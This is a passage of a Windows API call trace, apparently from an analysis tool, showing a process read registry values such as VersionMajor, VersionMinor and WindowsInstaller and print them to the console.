pcbData=0x29f780*=0x4) returned 0x0 [0150.019] __iob_func () returned 0x7fefd702a80 [0150.019] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.020] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.020] _fileno (_File=0x7fefd702ab0) returned 1 [0150.020] _errno () returned 0x204bb0 [0150.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.020] _errno () returned 0x204bb0 [0150.020] GetFileType (hFile=0x50) returned 0x1 [0150.020] lstrlenW (lpString=" ") returned 4 [0150.020] GetConsoleOutputCP () returned 0x1b5 [0150.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.020] GetConsoleOutputCP () returned 0x1b5 [0150.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.020] lstrlenW (lpString="VersionMajor") returned 12 [0150.020] __iob_func () returned 0x7fefd702a80 [0150.020] _fileno (_File=0x7fefd702ab0) returned 1 [0150.020] _errno () returned 0x204bb0 [0150.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.020] _errno () returned 0x204bb0 [0150.020] GetFileType (hFile=0x50) returned 0x1 [0150.020] lstrlenW (lpString="VersionMajor") returned 12 [0150.020] GetConsoleOutputCP () returned 0x1b5 [0150.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.020] GetConsoleOutputCP () returned 0x1b5 [0150.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.021] __iob_func () returned 0x7fefd702a80 [0150.021] _fileno (_File=0x7fefd702ab0) returned 1 [0150.021] _errno () returned 0x204bb0 [0150.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.021] _errno () returned 0x204bb0 [0150.021] GetFileType (hFile=0x50) returned 0x1 [0150.021] lstrlenW (lpString=" ") returned 4 [0150.021] GetConsoleOutputCP () returned 0x1b5 [0150.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.021] GetConsoleOutputCP () returned 0x1b5 [0150.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.021] __iob_func () returned 0x7fefd702a80 [0150.021] _fileno (_File=0x7fefd702ab0) returned 1 [0150.021] _errno () returned 0x204bb0 [0150.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.021] _errno () returned 0x204bb0 [0150.021] GetFileType (hFile=0x50) returned 0x1 [0150.021] lstrlenW (lpString="REG_DWORD") returned 9 [0150.022] GetConsoleOutputCP () returned 0x1b5 [0150.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.022] GetConsoleOutputCP () returned 0x1b5 [0150.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.022] __iob_func () returned 0x7fefd702a80 [0150.022] _fileno (_File=0x7fefd702ab0) returned 1 [0150.022] _errno () returned 0x204bb0 [0150.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.022] _errno () returned 0x204bb0 [0150.022] GetFileType (hFile=0x50) returned 0x1 [0150.022] lstrlenW (lpString=" ") returned 4 [0150.022] GetConsoleOutputCP () returned 0x1b5 [0150.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.022] GetConsoleOutputCP () returned 0x1b5 [0150.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.023] __iob_func () returned 0x7fefd702a80 [0150.023] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.023] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xe") returned 3 [0150.023] _fileno (_File=0x7fefd702ab0) returned 1 [0150.023] _errno () returned 0x204bb0 [0150.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.023] _errno () returned 0x204bb0 [0150.023] GetFileType (hFile=0x50) returned 0x1 [0150.023] lstrlenW (lpString="0xe") returned 3 [0150.023] GetConsoleOutputCP () returned 0x1b5 [0150.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.023] GetConsoleOutputCP () returned 0x1b5 [0150.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe", lpUsedDefaultChar=0x0) returned 3 [0150.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.023] __iob_func () returned 0x7fefd702a80 [0150.023] _fileno (_File=0x7fefd702ab0) returned 1 [0150.023] _errno () returned 0x204bb0 [0150.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.023] _errno () returned 0x204bb0 [0150.023] GetFileType (hFile=0x50) returned 0x1 [0150.023] lstrlenW (lpString="\n") returned 1 [0150.023] GetConsoleOutputCP () returned 0x1b5 [0150.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.024] GetConsoleOutputCP () returned 0x1b5 [0150.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.024] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.024] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.024] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.024] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.024] GetProcessHeap () returned 0x3c0000 [0150.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa, pcbData=0x29f780*=0x4) returned 0x0 [0150.024] __iob_func () returned 0x7fefd702a80 [0150.024] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.024] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.024] _fileno (_File=0x7fefd702ab0) returned 1 [0150.024] _errno () returned 0x204bb0 [0150.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.024] _errno () returned 0x204bb0 [0150.024] GetFileType (hFile=0x50) returned 0x1 [0150.024] lstrlenW (lpString=" ") returned 4 [0150.025] GetConsoleOutputCP () returned 0x1b5 [0150.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.025] GetConsoleOutputCP () returned 0x1b5 [0150.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.025] lstrlenW (lpString="VersionMinor") returned 12 [0150.025] __iob_func () returned 0x7fefd702a80 [0150.025] _fileno (_File=0x7fefd702ab0) returned 1 [0150.025] _errno () returned 0x204bb0 [0150.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.025] _errno () returned 0x204bb0 [0150.025] GetFileType (hFile=0x50) returned 0x1 [0150.025] lstrlenW (lpString="VersionMinor") returned 12 [0150.025] GetConsoleOutputCP () returned 0x1b5 [0150.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.025] GetConsoleOutputCP () returned 0x1b5 [0150.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.026] __iob_func () returned 0x7fefd702a80 [0150.026] _fileno (_File=0x7fefd702ab0) returned 1 [0150.026] _errno () returned 0x204bb0 [0150.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.026] _errno () returned 0x204bb0 [0150.026] GetFileType (hFile=0x50) returned 0x1 [0150.026] lstrlenW (lpString=" ") returned 4 [0150.026] GetConsoleOutputCP () returned 0x1b5 [0150.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.026] GetConsoleOutputCP () returned 0x1b5 [0150.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.026] __iob_func () returned 0x7fefd702a80 [0150.026] _fileno (_File=0x7fefd702ab0) returned 1 [0150.026] _errno () returned 0x204bb0 [0150.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.026] _errno () returned 0x204bb0 [0150.026] GetFileType (hFile=0x50) returned 0x1 [0150.026] lstrlenW (lpString="REG_DWORD") returned 9 [0150.026] GetConsoleOutputCP () returned 0x1b5 [0150.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.027] GetConsoleOutputCP () returned 0x1b5 [0150.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.027] __iob_func () returned 0x7fefd702a80 [0150.027] _fileno (_File=0x7fefd702ab0) returned 1 [0150.027] _errno () returned 0x204bb0 [0150.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.027] _errno () returned 0x204bb0 [0150.027] GetFileType (hFile=0x50) returned 0x1 [0150.027] lstrlenW (lpString=" ") returned 4 [0150.027] GetConsoleOutputCP () returned 0x1b5 [0150.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.027] GetConsoleOutputCP () returned 0x1b5 [0150.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.027] __iob_func () returned 0x7fefd702a80 [0150.027] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.027] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa") returned 3 [0150.027] _fileno (_File=0x7fefd702ab0) returned 1 [0150.027] _errno () returned 0x204bb0 [0150.028] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.028] _errno () returned 0x204bb0 [0150.028] GetFileType (hFile=0x50) returned 0x1 [0150.028] lstrlenW (lpString="0xa") returned 3 [0150.028] GetConsoleOutputCP () returned 0x1b5 [0150.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.028] GetConsoleOutputCP () returned 0x1b5 [0150.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0150.028] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.028] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.028] __iob_func () returned 0x7fefd702a80 [0150.028] _fileno (_File=0x7fefd702ab0) returned 1 [0150.028] _errno () returned 0x204bb0 [0150.028] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.028] _errno () returned 0x204bb0 [0150.028] GetFileType (hFile=0x50) returned 0x1 [0150.028] lstrlenW (lpString="\n") returned 1 [0150.028] GetConsoleOutputCP () returned 0x1b5 [0150.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.028] GetConsoleOutputCP () returned 0x1b5 [0150.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.029] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.029] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.029] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.029] GetProcessHeap () returned 0x3c0000 [0150.029] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.029] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.029] __iob_func () returned 0x7fefd702a80 [0150.029] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.029] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.029] _fileno (_File=0x7fefd702ab0) returned 1 [0150.029] _errno () returned 0x204bb0 [0150.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.029] _errno () returned 0x204bb0 [0150.029] GetFileType (hFile=0x50) returned 0x1 [0150.029] lstrlenW (lpString=" ") returned 4 [0150.029] GetConsoleOutputCP () returned 0x1b5 [0150.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.030] GetConsoleOutputCP () returned 0x1b5 [0150.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.030] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.030] __iob_func () returned 0x7fefd702a80 [0150.030] _fileno (_File=0x7fefd702ab0) returned 1 [0150.030] _errno () returned 0x204bb0 [0150.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.030] _errno () returned 0x204bb0 [0150.030] GetFileType (hFile=0x50) returned 0x1 [0150.030] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.030] GetConsoleOutputCP () returned 0x1b5 [0150.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.030] GetConsoleOutputCP () returned 0x1b5 [0150.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.030] __iob_func () returned 0x7fefd702a80 [0150.030] _fileno (_File=0x7fefd702ab0) returned 1 [0150.030] _errno () returned 0x204bb0 [0150.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.031] _errno () returned 0x204bb0 [0150.031] GetFileType (hFile=0x50) returned 0x1 [0150.031] lstrlenW (lpString=" ") returned 4 [0150.031] GetConsoleOutputCP () returned 0x1b5 [0150.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.031] GetConsoleOutputCP () returned 0x1b5 [0150.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.031] __iob_func () returned 0x7fefd702a80 [0150.031] _fileno (_File=0x7fefd702ab0) returned 1 [0150.031] _errno () returned 0x204bb0 [0150.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.031] _errno () returned 0x204bb0 [0150.031] GetFileType (hFile=0x50) returned 0x1 [0150.031] lstrlenW (lpString="REG_DWORD") returned 9 [0150.031] GetConsoleOutputCP () returned 0x1b5 [0150.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.031] GetConsoleOutputCP () returned 0x1b5 [0150.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.032] __iob_func () returned 0x7fefd702a80 [0150.032] _fileno (_File=0x7fefd702ab0) returned 1 [0150.032] _errno () returned 0x204bb0 [0150.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.032] _errno () returned 0x204bb0 [0150.032] GetFileType (hFile=0x50) returned 0x1 [0150.032] lstrlenW (lpString=" ") returned 4 [0150.032] GetConsoleOutputCP () returned 0x1b5 [0150.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.032] GetConsoleOutputCP () returned 0x1b5 [0150.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.032] fflush (in: _File=0x7fefd702ab0 | out: 